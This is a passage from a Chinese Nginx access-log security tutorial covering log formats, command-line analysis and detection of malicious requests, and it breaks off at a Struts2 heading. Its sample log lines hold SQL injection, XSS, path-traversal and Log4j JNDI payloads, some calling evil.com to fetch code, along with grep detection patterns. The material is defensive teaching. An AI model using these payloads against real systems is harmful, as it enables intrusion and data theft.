一、概述
1.1 背景介绍
凌晨 1 点 47 分,手机被告警短信吵醒。打开企微一看:"prod-web01 CPU 使用率 92%,连续 5 分钟"。SSH 上去,top 一看 Nginx worker 进程吃满了 CPU,ss -s 显示 ESTABLISHED 连接数 28000+。打开 access.log,刷屏速度快到根本看不清内容。
用 wc -l 粗略数了一下最近 5 分钟的日志——12 万行。正常情况下这台机器每分钟也就 200-300 个请求,现在每分钟 24000 个请求,涨了 80 倍。
赶紧抓一下高频 IP:
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -5
输出结果让人血压飙升:
8347 103.xx.xx.92
6218 103.xx.xx.115
5890 45.xx.xx.201
4127 185.xx.xx.33
3652 185.xx.xx.47
第一个 IP 5 分钟请求了 8347 次,平均每分钟 1669 次,每秒 27.8 个请求。而且这几个 IP 全是境外的,UA 全是 Mozilla/5.0——一看就是 CC 攻击。
当时的处理过程是:先用 iptables 把这 5 个 IP 段全部封掉,然后检查有没有漏网之鱼,再配上 limit_req 限流。从发现到止血总共花了 11 分钟,但如果我提前做好了日志分析和自动封禁机制,这 11 分钟的业务抖动完全可以避免。
这就是写这篇文章的初衷:Nginx 的 access.log 是安全运维的第一道防线。它记录了每一个请求的来源、目标、结果,攻击者的所有行为都会在日志里留下痕迹。但大多数运维人员平时不看日志,出事了才想起来翻——这时候已经晚了。
这篇文章从日志格式配置开始,讲到命令行分析技巧、恶意请求特征识别、自动封禁机制、实时监控方案,所有命令和脚本都在 Ubuntu 24.04 + Nginx 1.27.x 环境下实测通过,直接拿去用。如果你正被频繁的攻击扫描困扰,或者想搭建一套易用的 Nginx 防护体系,本文或许能让你少走不少弯路。
1.2 日志格式解析
Nginx 默认使用 combined 格式记录访问日志。先看一条真实的日志长什么样:
103.xx.xx.92 - - [13/Mar/2026:01:47:23 +0800] "GET /api/user/profile HTTP/1.1" 200 1532 "https://example.com/dashboard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
拆开来看,combined 格式由这些变量组成:
log_format combined '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent"';
每个字段的含义:
| 字段 |
变量名 |
示例值 |
含义 |
| 客户端 IP |
$remote_addr |
103.xx.xx.92 |
发起请求的客户端 IP 地址。如果前面有 CDN 或负载均衡,拿到的是上一跳的 IP,不是真实客户端 IP |
| 远程用户标识 |
- |
- |
RFC 1413 identd 协议的用户标识,现在基本没人用,永远是 - |
| 认证用户名 |
$remote_user |
- |
HTTP Basic Auth 认证的用户名。没认证就是 - |
| 时间戳 |
$time_local |
13/Mar/2026:01:47:23 +0800 |
请求到达 Nginx 的本地时间,包含时区 |
| 请求行 |
$request |
GET /api/user/profile HTTP/1.1 |
包含请求方法、URI(含查询参数)、HTTP 版本 |
| 状态码 |
$status |
200 |
HTTP 响应状态码 |
| 响应体大小 |
$body_bytes_sent |
1532 |
发送给客户端的响应体字节数,不包含响应头 |
| 来源页面 |
$http_referer |
https://example.com/dashboard |
上一个页面的 URL,直接访问时为 - |
| 用户代理 |
$http_user_agent |
Mozilla/5.0 ... |
客户端的 User-Agent 字符串 |
有个细节很多人忽略:$remote_addr 在有反向代理链的情况下拿到的不是真实 IP。如果你的架构是 用户 → CDN → SLB → Nginx ,那 $remote_addr 拿到的是 SLB 的 IP。要拿真实 IP,需要用 $http_x_forwarded_for 或者配置 set_real_ip_from,后面会详细讲。
1.3 适用场景
- 安全审计:定期分析日志,识别扫描、注入、暴力破解等攻击行为
- CC/DDoS 攻击识别:通过高频 IP 和请求模式识别应用层攻击
- 入侵检测:发现路径遍历、敏感文件探测、漏洞利用尝试
- 流量分析:了解业务流量分布,为容量规划提供数据支撑
- 性能调优:通过慢请求分析定位后端性能瓶颈
- 合规要求:等保 2.0 三级要求保留 180 天访问日志并具备审计能力
1.4 环境要求
| 组件 |
版本要求 |
说明 |
| 操作系统 |
Ubuntu 24.04 LTS |
内核 6.8+,本文命令以 Ubuntu 为准 |
| Nginx |
1.27.3+ |
2026 年 mainline 最新版 |
| GoAccess |
1.9.x |
终端实时日志分析工具 |
| fail2ban |
1.1.x |
自动封禁框架 |
| nftables |
1.0.9+ |
Ubuntu 24.04 默认防火墙后端 |
| jq |
1.7+ |
JSON 日志解析工具 |
| GeoIP2 数据库 |
2026 年版 |
MaxMind GeoLite2 IP 地理位置库 |
| 磁盘 |
50GB+ 可用空间 |
日志存储,建议单独分区挂载到 /var/log |
二、详细步骤
2.1 日志格式配置
2.1.1 默认 combined 格式的局限
combined 格式够用,但对运维分析来说信息太少。举几个实际场景:
- 想知道某个请求处理了多久——没有
request_time 字段
- 想知道后端响应耗时——没有
upstream_response_time 字段
- 想知道真实客户端 IP(前面有 CDN 时)——没有
X-Forwarded-For
- 想用程序自动解析日志——文本格式解析起来很麻烦,空格、引号、方括号混在一起
所以生产环境建议自定义日志格式,至少加上这几个关键字段。
2.1.2 增强型文本格式
在 nginx.conf 的 http 块中定义:
# 增强型访问日志格式
# 在 combined 基础上增加了请求处理时间、后端响应时间、真实 IP 等关键字段
log_format main_ext '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'$request_time $upstream_response_time '
'$http_x_forwarded_for '
'$connection $connection_requests';
# 在 server 块中使用
access_log /var/log/nginx/access.log main_ext;
新增字段说明:
| 字段 |
变量 |
说明 |
| 请求处理时间 |
$request_time |
从收到客户端第一个字节到发送完最后一个字节的总时间(秒),精确到毫秒 |
| 后端响应时间 |
$upstream_response_time |
Nginx 向后端发请求到收到后端响应的时间。如果没有走 upstream 则为 - |
| 真实客户端 IP |
$http_x_forwarded_for |
X-Forwarded-For 请求头,记录经过代理链的所有 IP |
| 连接序号 |
$connection |
当前连接的序列号 |
| 连接请求数 |
$connection_requests |
当前连接上处理的请求数量(用于分析 keepalive 效果) |
$request_time 和 $upstream_response_time 的区别很关键:
$request_time = 客户端建连 + 发请求 + Nginx 转发到后端 + 后端处理 + Nginx 返回响应 + 客户端接收,是端到端的总时间
$upstream_response_time = Nginx 发请求到后端 + 后端处理 + 后端返回响应,只计算后端部分
如果 $request_time 很大但 $upstream_response_time 很小,说明瓶颈不在后端,可能是客户端网络差(慢连接)或者 Nginx 本身的问题。
2.1.3 JSON 格式日志
如果你要把日志接入 ELK 或 Loki,强烈建议用 JSON 格式。文本格式解析起来各种正则匹配、字段分割,稍微有个特殊字符就翻车。JSON 格式天然结构化,解析零成本。
# JSON 格式日志——适合日志收集系统接入
log_format json_log escape=json
'{'
'"timestamp":"$time_iso8601",'
'"remote_addr":"$remote_addr",'
'"remote_user":"$remote_user",'
'"request_method":"$request_method",'
'"request_uri":"$request_uri",'
'"server_protocol":"$server_protocol",'
'"status":$status,'
'"body_bytes_sent":$body_bytes_sent,'
'"http_referer":"$http_referer",'
'"http_user_agent":"$http_user_agent",'
'"http_x_forwarded_for":"$http_x_forwarded_for",'
'"request_time":$request_time,'
'"upstream_response_time":"$upstream_response_time",'
'"upstream_addr":"$upstream_addr",'
'"upstream_status":"$upstream_status",'
'"request_length":$request_length,'
'"connection":$connection,'
'"connection_requests":$connection_requests,'
'"server_name":"$server_name",'
'"ssl_protocol":"$ssl_protocol",'
'"ssl_cipher":"$ssl_cipher"'
'}';
# 使用 JSON 格式
access_log /var/log/nginx/access.json.log json_log;
几个细节要注意:
escape=json 是必须加的,它会对日志中的特殊字符做 JSON 转义。不加的话,如果 UA 或者 URI 里有双引号,整条 JSON 就废了
- 数值类型的字段(
$status、$body_bytes_sent、$request_time、$request_length、$connection、$connection_requests)不加引号,直接输出数字
$upstream_response_time 和 $upstream_addr 加引号是因为它们可能是 -(没有 upstream 时),不加引号 JSON 会不合法
验证 JSON 格式是否正确:
# 取最后一行日志验证 JSON 合法性
tail -1 /var/log/nginx/access.json.log | jq .
# 批量验证最近 100 行
tail -100 /var/log/nginx/access.json.log | while read -r line; do
echo "$line" | jq . > /dev/null 2>&1 || echo "JSON 格式错误: $line"
done
2.1.4 获取真实客户端 IP
如果你的 Nginx 前面有 CDN 或者负载均衡,$remote_addr 拿到的是上一跳的 IP,不是用户真实 IP。需要配置 real_ip 模块:
# 在 http 块或 server 块中配置
# 设置信任的代理 IP 段(以阿里云 CDN 为例)
set_real_ip_from 100.64.0.0/10;
set_real_ip_from 203.107.0.0/16;
set_real_ip_from 118.178.0.0/16;
# 如果是内网 SLB
set_real_ip_from 10.0.0.0/8;
set_real_ip_from 172.16.0.0/12;
# 从 X-Forwarded-For 头获取真实 IP
real_ip_header X-Forwarded-For;
# recursive 设为 on 表示递归排除所有信任代理 IP,取最后一个非信任 IP 作为真实 IP
real_ip_recursive on;
配置生效后 $remote_addr 的值就会被替换成真实客户端 IP,日志里记录的也就是真实 IP 了。
验证配置是否正确:
# 测试 Nginx 配置语法
sudo nginx -t
# 平滑重载配置
sudo nginx -s reload
# 观察日志中 IP 是否变化
tail -f /var/log/nginx/access.log
2.2 命令行分析技巧
不用装任何工具,awk、sort、uniq、grep 这些 Linux 自带命令就能完成 90% 的日志分析工作。下面是我常用的 10+ 个单行命令,直接收藏。
2.2.1 awk 实用单行命令
以下命令基于 combined 格式,如果你用的是自定义格式,字段序号需要相应调整。
# 1. 统计总请求数
wc -l /var/log/nginx/access.log
# 2. 统计 IP 访问量 Top20
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
# 3. 统计最近 1 小时的请求量(按分钟维度)
awk -v date="$(date -d '1 hour ago' '+%d/%b/%Y:%H')" '$4 ~ date {print substr($4,14,5)}' /var/log/nginx/access.log | sort | uniq -c
# 4. 统计访问最多的 URL Top20
awk '{print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
# 5. 统计各状态码的请求数量
awk '{print $9}' /var/log/nginx/access.log | sort | uniq -c | sort -rn
# 6. 统计 404 请求的 URL(找扫描器在探测什么)
awk '$9 == 404 {print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -30
# 7. 统计各 UA 的请求数量 Top20
awk -F'"' '{print $6}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
# 8. 找出请求频率异常的 IP(每分钟超过 100 次的 IP)
awk '{print $1, substr($4,2,17)}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | awk '$1 > 100 {print}'
# 9. 统计每秒请求数(QPS 趋势)
awk '{print substr($4,2,20)}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
# 10. 统计各 HTTP 方法的请求数量
awk '{print $6}' /var/log/nginx/access.log | sed 's/"//g' | sort | uniq -c | sort -rn
# 11. 查看特定 IP 的所有请求(排查可疑 IP 在干什么)
awk '$1 == "103.xx.xx.92"' /var/log/nginx/access.log | tail -50
# 12. 查看特定时间段的日志(比如凌晨 1 点到 2 点)
awk '$4 >= "[13/Mar/2026:01:00" && $4 <= "[13/Mar/2026:02:00"' /var/log/nginx/access.log
# 13. 统计请求来源域名 Top20(分析流量从哪来)
awk -F'"' '{print $4}' /var/log/nginx/access.log | awk -F'/' '{print $3}' | sort | uniq -c | sort -rn | head -20
# 14. 统计带宽消耗 Top20 的 URL(哪些接口吃流量最多)
awk '{sum[$7] += $10} END {for (url in sum) print sum[url], url}' /var/log/nginx/access.log | sort -rn | head -20
这些命令看起来简单,但足够应对绝大多数分析场景了。关键是熟练到条件反射,出问题的时候能 10 秒钟之内打出来。
2.2.2 增强格式的 awk 命令
如果你用了前面的 main_ext 格式(包含 $request_time),可以用这些命令分析性能:
# 统计平均响应时间(main_ext 格式,request_time 在倒数第 4 个字段)
awk '{sum += $(NF-3); count++} END {print "平均响应时间:", sum/count, "秒"}' /var/log/nginx/access.log
# 找出响应时间超过 3 秒的慢请求
awk '$(NF-3) > 3 {print $(NF-3), $1, $7}' /var/log/nginx/access.log | sort -rn | head -20
# 按 URL 统计平均响应时间 Top20
awk '{url=$7; time=$(NF-3); sum[url]+=time; count[url]++} END {for(u in sum) print sum[u]/count[u], count[u], u}' /var/log/nginx/access.log | sort -rn | head -20
# 统计响应时间分布(0-1s, 1-3s, 3-5s, 5s+)
awk '{t=$(NF-3); if(t<1) a++; else if(t<3) b++; else if(t<5) c++; else d++} END {total=a+b+c+d; printf "0-1s: %d (%.1f%%)\n1-3s: %d (%.1f%%)\n3-5s: %d (%.1f%%)\n5s+: %d (%.1f%%)\n", a,a/total*100, b,b/total*100, c,c/total*100, d,d/total*100}' /var/log/nginx/access.log
2.2.3 JSON 格式日志分析
如果用了 JSON 格式,分析就方便多了,直接用 jq:
# 统计 IP 访问量 Top10
cat /var/log/nginx/access.json.log | jq -r '.remote_addr' | sort | uniq -c | sort -rn | head -10
# 统计状态码分布
cat /var/log/nginx/access.json.log | jq -r '.status' | sort | uniq -c | sort -rn
# 找出响应时间超过 5 秒的请求
cat /var/log/nginx/access.json.log | jq -r 'select(.request_time > 5) | "\(.request_time)s \(.remote_addr) \(.request_method) \(.request_uri)"'
# 统计每个接口的平均响应时间
cat /var/log/nginx/access.json.log | jq -r '"\(.request_uri)\t\(.request_time)"' | awk -F'\t' '{sum[$1]+=$2; count[$1]++} END {for(u in sum) printf "%.3fs %d %s\n", sum[u]/count[u], count[u], u}' | sort -rn | head -20
# 查看某个 IP 的所有请求详情
cat /var/log/nginx/access.json.log | jq -r 'select(.remote_addr == "103.xx.xx.92") | "\(.timestamp) \(.request_method) \(.request_uri) \(.status) \(.http_user_agent)"'
jq 的好处是表达能力更强,各种条件组合过滤很灵活。但在处理大文件时,jq 的性能不如 awk——100 万行日志 awk 处理大概 2-3 秒,jq 要 15-20 秒。所以大文件还是优先用 awk。
2.2.4 GoAccess 实时分析
命令行工具虽然灵活,但每次都要手打命令还是不够高效。GoAccess 是一个终端可视化日志分析工具,实时分析、实时展示,还能生成 HTML 报告。
# 安装 GoAccess
sudo apt install -y goaccess
# 终端实时分析(combined 格式)
goaccess /var/log/nginx/access.log --log-format=COMBINED
# 实时分析并生成 HTML 报告
goaccess /var/log/nginx/access.log --log-format=COMBINED -o /var/www/html/report.html --real-time-html
# 自定义格式分析(对应 main_ext 格式)
goaccess /var/log/nginx/access.log --log-format='%h - %^ [%d:%t %^] "%r" %s %b "%R" "%u" %T %^ %^ %^ %^' --date-format='%d/%b/%Y' --time-format='%H:%M:%S'
# 分析多个日志文件(包括压缩的历史日志)
zcat /var/log/nginx/access.log.*.gz | goaccess --log-format=COMBINED -
# 只分析今天的日志
goaccess /var/log/nginx/access.log --log-format=COMBINED --date-spec=hr --keep-last=24
GoAccess 的终端界面会展示 IP 排行、URL 排行、状态码分布、UA 统计、时间趋势等,一目了然。它的实时 HTML 报告还支持 WebSocket 推送,页面自动刷新——给领导看报表的时候特别好用。
2.3 高频 IP 统计与分析
2.3.1 Top20 IP 深度分析
简单的 uniq -c 统计只能看到请求总量,不够用。实际排查时你还需要知道这个 IP 的请求频率、主要访问目标、UA 信息:
# 统计 Top20 IP 并输出详细信息
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20 | while read count ip; do
# 获取该 IP 最常访问的 URL
top_url=$(awk -v ip="$ip" '$1 == ip {print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -1)
# 获取该 IP 的 UA
ua=$(awk -v ip="$ip" -F'"' '$0 ~ ip {print $6; exit}' /var/log/nginx/access.log)
echo "[$count 次] $ip | 最多访问: $top_url | UA: $ua"
done
但这个方法在日志文件很大时会很慢,因为每个 IP 都要重新扫描一遍文件。更高效的做法是一次扫描收集所有信息:
# 一次扫描,统计每个 IP 的请求数、URL 分布、状态码分布
awk '{
ip=$1; url=$7; status=$9;
ip_count[ip]++;
ip_url[ip][url]++;
ip_status[ip][status]++;
} END {
# 按请求数排序输出 Top20
PROCINFO["sorted_in"] = "@val_num_desc";
n = 0;
for (ip in ip_count) {
if (++n > 20) break;
printf "=== %s: %d 次 ===\n", ip, ip_count[ip];
# 输出该 IP 的 Top5 URL
printf " URL Top5: ";
m = 0;
for (url in ip_url[ip]) {
if (++m > 5) break;
printf "%s(%d) ", url, ip_url[ip][url];
}
printf "\n";
# 输出状态码分布
printf " 状态码: ";
for (status in ip_status[ip]) {
printf "%s(%d) ", status, ip_status[ip][status];
}
printf "\n\n";
}
}' /var/log/nginx/access.log
这段 awk 用到了 GNU awk 的关联数组嵌套和 PROCINFO["sorted_in"]。如果你的系统用的是 mawk(某些精简版 Linux 的默认 awk),需要先装 gawk:
sudo apt install -y gawk
2.3.2 请求频率分析
光看总量不够,还要看频率。一个 IP 一天请求 10000 次,分散在 24 小时可能是正常爬虫;集中在 5 分钟内就是攻击。
# 按 IP+分钟 统计频率,找出每分钟请求超过 60 次的 IP
awk '{
ip = $1;
# 提取时间戳中的日期+小时+分钟部分
match($4, /\[([0-9]+\/[A-Za-z]+\/[0-9]+:[0-9]+:[0-9]+)/, arr);
minute = arr[1];
key = ip " " minute;
count[key]++;
} END {
for (k in count) {
if (count[k] > 60) {
printf "%d 次/分钟 | %s\n", count[k], k;
}
}
}' /var/log/nginx/access.log | sort -rn | head -30
输出示例:
1669 次/分钟 | 103.xx.xx.92 13/Mar/2026:01:47
1244 次/分钟 | 103.xx.xx.115 13/Mar/2026:01:47
1178 次/分钟 | 45.xx.xx.201 13/Mar/2026:01:48
826 次/分钟 | 185.xx.xx.33 13/Mar/2026:01:48
正常用户每分钟请求频率一般不超过 30-40 次(算上页面加载的各种静态资源),API 调用类的可能高一些但也不应该超过 120 次/分钟。超过这个数的基本都有问题。
2.3.3 IP 地理位置查询
知道 IP 来自哪个国家和地区,有助于判断是否为恶意流量。国内业务突然出现大量来自东欧、东南亚的 IP,基本就是攻击。
# 安装 GeoIP 工具
sudo apt install -y geoip-bin geoip-database
# 查询单个 IP 的地理位置
geoiplookup 103.xx.xx.92
# 批量查询 Top20 IP 的地理位置
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20 | while read count ip; do
location=$(geoiplookup "$ip" 2>/dev/null | head -1 | awk -F': ' '{print $2}')
printf "%6d %-16s %s\n" "$count" "$ip" "$location"
done
输出示例:
8347 103.xx.xx.92 CN, China
6218 103.xx.xx.115 VN, Vietnam
5890 45.xx.xx.201 RU, Russian Federation
4127 185.xx.xx.33 UA, Ukraine
3652 185.xx.xx.47 DE, Germany
如果要更精确的位置信息(到城市级别),需要用 MaxMind 的 GeoLite2 数据库:
# 安装 mmdb 查询工具
sudo apt install -y mmdb-bin
# 下载 GeoLite2 数据库(需要注册 MaxMind 账号获取 License Key)
# 下载后解压到 /usr/share/GeoIP/
sudo mkdir -p /usr/share/GeoIP
# 假设已下载 GeoLite2-City.mmdb
sudo cp GeoLite2-City.mmdb /usr/share/GeoIP/
# 查询 IP 的城市级位置
mmdblookup --file /usr/share/GeoIP/GeoLite2-City.mmdb --ip 103.xx.xx.92
2.4 恶意请求特征识别
这是这篇文章最核心的部分。攻击者的请求在日志里会留下明显的特征,学会识别这些特征就能在攻击发生的第一时间做出响应。
2.4.1 SQL 注入尝试
SQL 注入是 Web 安全排名第一的威胁(OWASP Top 10 常年占据前三)。攻击者会在 URL 参数、POST 数据、Cookie 等位置注入 SQL 语句。在日志里能看到的主要是 URL 参数中的注入:
# 经典 OR 注入——绕过登录认证
103.xx.xx.92 - - [13/Mar/2026:02:15:33 +0800] "GET /api/login?username=admin'%20OR%20'1'='1&password=anything HTTP/1.1" 403 162
# UNION SELECT 注入——读取数据库信息
45.xx.xx.201 - - [13/Mar/2026:02:15:34 +0800] "GET /api/product?id=1%20UNION%20SELECT%201,2,username,password%20FROM%20users-- HTTP/1.1" 500 0
# 数字型注入测试
185.xx.xx.33 - - [13/Mar/2026:02:15:35 +0800] "GET /api/product?id=1%20AND%201=1 HTTP/1.1" 200 1532
185.xx.xx.33 - - [13/Mar/2026:02:15:35 +0800] "GET /api/product?id=1%20AND%201=2 HTTP/1.1" 200 0
# 时间盲注——通过响应延迟判断注入是否成功
185.xx.xx.33 - - [13/Mar/2026:02:15:36 +0800] "GET /api/product?id=1%20AND%20SLEEP(5) HTTP/1.1" 200 1532
# 堆叠注入——执行多条 SQL 语句
45.xx.xx.201 - - [13/Mar/2026:02:15:37 +0800] "GET /api/product?id=1;DROP%20TABLE%20users;-- HTTP/1.1" 500 0
# 注释绕过 WAF
103.xx.xx.92 - - [13/Mar/2026:02:15:38 +0800] "GET /api/product?id=1%20/*!UNION*/SELECT%201,2,3-- HTTP/1.1" 200 0
# 十六进制编码绕过
103.xx.xx.92 - - [13/Mar/2026:02:15:39 +0800] "GET /api/product?id=0x31%20UNION%20SELECT%200x61646D696E HTTP/1.1" 200 0
提取日志中所有 SQL 注入尝试的命令:
# 检测常见 SQL 注入关键词(URL 解码后匹配)
grep -iE "(union.*select|or\+1=1|or\+'1'='1|and\+1=1|and\+sleep|benchmark\(|extractvalue|updatexml|load_file|into\+outfile|information_schema|drop\+table|insert\+into|delete\+from|%27|%22|--\+|%23)" /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn
# 更精确的检测——排除静态资源请求
awk '$7 !~ /\.(css|js|png|jpg|gif|ico|svg|woff|ttf)/ && $7 ~ /(union.*select|or.*=.*or|and.*=|sleep\(|benchmark\(|concat\(|char\(|0x[0-9a-f]+)/i {print $1, $7}' /var/log/nginx/access.log | head -50
2.4.2 XSS(跨站脚本)攻击
XSS 攻击是在页面中注入 JavaScript 代码。在日志里会看到类似的请求:
# 经典 script 标签注入
185.xx.xx.47 - - [13/Mar/2026:02:20:11 +0800] "GET /search?q=%3Cscript%3Ealert('XSS')%3C/script%3E HTTP/1.1" 200 3842
# img 标签事件注入
185.xx.xx.47 - - [13/Mar/2026:02:20:12 +0800] "GET /search?q=%3Cimg%20src=x%20onerror=alert(1)%3E HTTP/1.1" 200 3842
# SVG 标签注入
185.xx.xx.47 - - [13/Mar/2026:02:20:13 +0800] "GET /profile?name=%3Csvg/onload=alert(document.cookie)%3E HTTP/1.1" 200 2048
# iframe 注入
103.xx.xx.92 - - [13/Mar/2026:02:20:14 +0800] "GET /comment?content=%3Ciframe%20src=http://evil.com/steal.js%3E HTTP/1.1" 200 1024
# JavaScript 协议注入
103.xx.xx.92 - - [13/Mar/2026:02:20:15 +0800] "GET /redirect?url=javascript:alert(document.cookie) HTTP/1.1" 302 0
# 编码绕过——双重 URL 编码
45.xx.xx.201 - - [13/Mar/2026:02:20:16 +0800] "GET /search?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E HTTP/1.1" 200 3842
检测命令:
# 检测 XSS 相关特征
grep -iE "(<script|%3cscript|javascript:|onerror=|onload=|onclick=|onmouseover=|<iframe|%3ciframe|<svg|%3csvg|alert\(|prompt\(|confirm\(|document\.cookie|document\.location)" /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn
2.4.3 路径遍历攻击
攻击者试图通过 ../ 跳出 Web 目录,读取系统敏感文件:
# 读取 /etc/passwd
45.xx.xx.201 - - [13/Mar/2026:02:25:01 +0800] "GET /static/../../etc/passwd HTTP/1.1" 400 166
# 多层跳转读取文件
45.xx.xx.201 - - [13/Mar/2026:02:25:02 +0800] "GET /images/../../../../etc/shadow HTTP/1.1" 400 166
# URL 编码绕过
45.xx.xx.201 - - [13/Mar/2026:02:25:03 +0800] "GET /download?file=%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1" 403 162
# 双重编码绕过
45.xx.xx.201 - - [13/Mar/2026:02:25:04 +0800] "GET /download?file=%252e%252e%252f%252e%252e%252fetc/passwd HTTP/1.1" 403 162
# Windows 路径遍历(有些服务可能跑在 Windows 上)
45.xx.xx.201 - - [13/Mar/2026:02:25:05 +0800] "GET /download?file=..\..\..\..\windows\win.ini HTTP/1.1" 400 166
# 读取 Nginx 配置文件
103.xx.xx.92 - - [13/Mar/2026:02:25:06 +0800] "GET /static/../../../etc/nginx/nginx.conf HTTP/1.1" 400 166
# 读取环境变量文件
103.xx.xx.92 - - [13/Mar/2026:02:25:07 +0800] "GET /app/../../proc/self/environ HTTP/1.1" 400 166
检测命令:
# 检测路径遍历尝试
grep -E '(\.\./|\.\.\\|%2e%2e|%252e%252e)' /var/log/nginx/access.log | awk '{print $1, $7, $9}' | sort | uniq -c | sort -rn
2.4.4 扫描器和敏感文件探测
这是日志里最常见的恶意行为。各种自动化扫描器会遍历常见的敏感路径,试图找到未授权的后台入口、配置文件、源码泄露:
# 环境变量文件探测——泄露数据库密码、API Key
185.xx.xx.33 - - [13/Mar/2026:02:30:01 +0800] "GET /.env HTTP/1.1" 404 162
185.xx.xx.33 - - [13/Mar/2026:02:30:01 +0800] "GET /.env.local HTTP/1.1" 404 162
185.xx.xx.33 - - [13/Mar/2026:02:30:02 +0800] "GET /.env.production HTTP/1.1" 404 162
185.xx.xx.33 - - [13/Mar/2026:02:30:02 +0800] "GET /.env.backup HTTP/1.1" 404 162
# WordPress 探测——互联网上海量 WordPress 站点,扫描器挨个试
185.xx.xx.33 - - [13/Mar/2026:02:30:03 +0800] "GET /wp-admin/ HTTP/1.1" 404 162
185.xx.xx.33 - - [13/Mar/2026:02:30:03 +0800] "GET /wp-login.php HTTP/1.1" 404 162
185.xx.xx.33 - - [13/Mar/2026:02:30:04 +0800] "GET /wp-content/plugins/ HTTP/1.1" 404 162
185.xx.xx.33 - - [13/Mar/2026:02:30:04 +0800] "GET /xmlrpc.php HTTP/1.1" 404 162
185.xx.xx.33 - - [13/Mar/2026:02:30:05 +0800] "GET /wp-includes/wlwmanifest.xml HTTP/1.1" 404 162
# PHP 信息页面探测
185.xx.xx.47 - - [13/Mar/2026:02:30:06 +0800] "GET /phpinfo.php HTTP/1.1" 404 162
185.xx.xx.47 - - [13/Mar/2026:02:30:06 +0800] "GET /info.php HTTP/1.1" 404 162
185.xx.xx.47 - - [13/Mar/2026:02:30:07 +0800] "GET /php_info.php HTTP/1.1" 404 162
# Git 仓库泄露探测——如果 .git 目录被暴露,整个源码都能被还原
185.xx.xx.47 - - [13/Mar/2026:02:30:08 +0800] "GET /.git/config HTTP/1.1" 404 162
185.xx.xx.47 - - [13/Mar/2026:02:30:08 +0800] "GET /.git/HEAD HTTP/1.1" 404 162
185.xx.xx.47 - - [13/Mar/2026:02:30:09 +0800] "GET /.gitignore HTTP/1.1" 404 162
# 数据库管理工具探测
103.xx.xx.115 - - [13/Mar/2026:02:30:10 +0800] "GET /phpmyadmin/ HTTP/1.1" 404 162
103.xx.xx.115 - - [13/Mar/2026:02:30:10 +0800] "GET /adminer.php HTTP/1.1" 404 162
103.xx.xx.115 - - [13/Mar/2026:02:30:11 +0800] "GET /pma/ HTTP/1.1" 404 162
# 后台管理入口探测
103.xx.xx.115 - - [13/Mar/2026:02:30:12 +0800] "GET /admin/ HTTP/1.1" 404 162
103.xx.xx.115 - - [13/Mar/2026:02:30:12 +0800] "GET /administrator/ HTTP/1.1" 404 162
103.xx.xx.115 - - [13/Mar/2026:02:30:13 +0800] "GET /manager/html HTTP/1.1" 404 162
103.xx.xx.115 - - [13/Mar/2026:02:30:13 +0800] "GET /console/ HTTP/1.1" 404 162
# 备份文件探测——开发或运维随手放在 Web 目录下的备份
103.xx.xx.92 - - [13/Mar/2026:02:30:14 +0800] "GET /backup.sql HTTP/1.1" 404 162
103.xx.xx.92 - - [13/Mar/2026:02:30:14 +0800] "GET /db.sql.gz HTTP/1.1" 404 162
103.xx.xx.92 - - [13/Mar/2026:02:30:15 +0800] "GET /site.tar.gz HTTP/1.1" 404 162
103.xx.xx.92 - - [13/Mar/2026:02:30:15 +0800] "GET /www.zip HTTP/1.1" 404 162
# API 文档泄露探测
45.xx.xx.201 - - [13/Mar/2026:02:30:16 +0800] "GET /swagger-ui.html HTTP/1.1" 404 162
45.xx.xx.201 - - [13/Mar/2026:02:30:16 +0800] "GET /api-docs HTTP/1.1" 404 162
45.xx.xx.201 - - [13/Mar/2026:02:30:17 +0800] "GET /v2/api-docs HTTP/1.1" 404 162
45.xx.xx.201 - - [13/Mar/2026:02:30:17 +0800] "GET /actuator HTTP/1.1" 404 162
45.xx.xx.201 - - [13/Mar/2026:02:30:18 +0800] "GET /actuator/env HTTP/1.1" 404 162
这些请求有一个共同特点:短时间内大量 404。正常用户不可能知道这些路径,只有扫描器才会挨个试。
一键检测扫描行为的命令:
# 检测常见敏感文件探测
grep -iE '(\.env|wp-admin|wp-login|phpinfo|\.git/|phpmyadmin|adminer|/admin/|/manager/|/console/|backup\.sql|\.sql\.gz|swagger|actuator|xmlrpc\.php)' /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20
2.4.5 漏洞利用尝试
这类请求是最危险的——攻击者在尝试利用已知漏洞获取服务器控制权。
# Log4j 漏洞利用(CVE-2021-44228)——虽然是 2021 年的漏洞,但到现在还有大量扫描
185.xx.xx.33 - - [13/Mar/2026:02:35:01 +0800] "GET / HTTP/1.1" 200 1234 "-" "${jndi:ldap://evil.com/exploit}"
185.xx.xx.33 - - [13/Mar/2026:02:35:01 +0800] "GET /?x=${jndi:ldap://evil.com:1389/Basic/Command/Base64/xxx} HTTP/1.1" 200 1234
185.xx.xx.33 - - [13/Mar/2026:02:35:02 +0800] "GET / HTTP/1.1" 200 1234 "-" "${${lower:j}ndi:${lower:l}dap://evil.com/x}"
# Spring4Shell 漏洞利用(CVE-2022-22965)
45.xx.xx.201 - - [13/Mar/2026:02:35:03 +0800] "POST / HTTP/1.1" 200 0 "-" "Mozilla/5.0" "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di"
45.xx.xx.201 - - [13/Mar/2026:02:35:04 +0800] "GET /tomcatwar.jsp HTTP/1.1" 404 162
# Apache Struts2 远程代码执行
